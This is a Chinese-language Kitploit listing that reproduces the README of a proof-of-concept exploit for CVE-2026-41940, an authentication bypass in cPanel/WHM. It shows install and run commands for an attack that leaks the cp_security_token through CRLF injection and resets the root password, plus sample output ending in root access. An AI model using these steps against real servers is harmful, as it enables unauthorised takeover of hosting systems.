Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-41940 — 针对 CVE-2026-41940 的概念验证漏洞利用程序,该漏洞是 cPanel/WHM 中一个未经验证的身份验证绕过漏洞,利用 CRLF 注入来泄露安全令牌并重置 root 密码。 | Kitploit
工具/GitHubGitHub/rosemary1337/cve-2026-41940
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubrosemary1337/cve-2026-41940

CVE-2026-41940

针对 CVE-2026-41940 的概念验证漏洞利用程序,该漏洞是 cPanel/WHM 中一个未经验证的身份验证绕过漏洞,利用 CRLF 注入来泄露安全令牌并重置 root 密码。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-41940 自动利用

Python Status Author


概述

CVE-2026-41940 是一个针对 cPanel/WHM 的概念验证(PoC)利用程序。
该利用程序演示了利用 CRLF 注入实现未认证身份验证绕过,从而泄露安全令牌并获得 WHM 界面的 root 级访问权限,可执行更改 root 密码等操作。

免责声明: 此 PoC 仅用于教育目的。请勿在未经许可的系统上使用。


功能特性

  • 主机名自动发现:自动识别规范主机名,以绕过 Host 头限制。
  • 预认证会话铸造:生成有效的初始会话用于注入。
  • CRLF 注入:利用请求头中的注入漏洞泄露 cp_security_token。
  • 会话传播:强制将泄露的令牌写入服务器的认证缓存。
  • Root 密码重置:成功绕过认证后自动更改 WHM root 密码。
  • 依赖极少:仅需标准 requests 库即可运行。

安装

  1. 克隆仓库:
root@kitploit:~
git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
  1. 安装依赖:
root@kitploit:~
pip install requests

依赖要求:requests、urllib3


使用方法

root@kitploit:~
python3 CVE_2026_41940.py --target <目标URL> --password <新密码>

示例:

root@kitploit:~
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!

参数


输出

控制台显示:

  • 状态消息 [0-4]
  • 成功 [+]
  • 失败 [!]
  • 信息 [*]

示例:

root@kitploit:~
[0] hostname = target.local
[1] minting a preauth session...
    session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.12"}
[*] changing the root password
    passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell

安全与免责声明

  • 仅用于教育与测试目的。
  • 请勿在未经明确许可的情况下攻击网站。
  • 仅在受控实验室或经授权的渗透测试中使用。
下载工具
参数描述必填默认值
--targetWHM 目标 URL(例如:https://host:2087)是-
--passwordroot 用户的新密码是-
--hostname覆盖 Host: 头否自动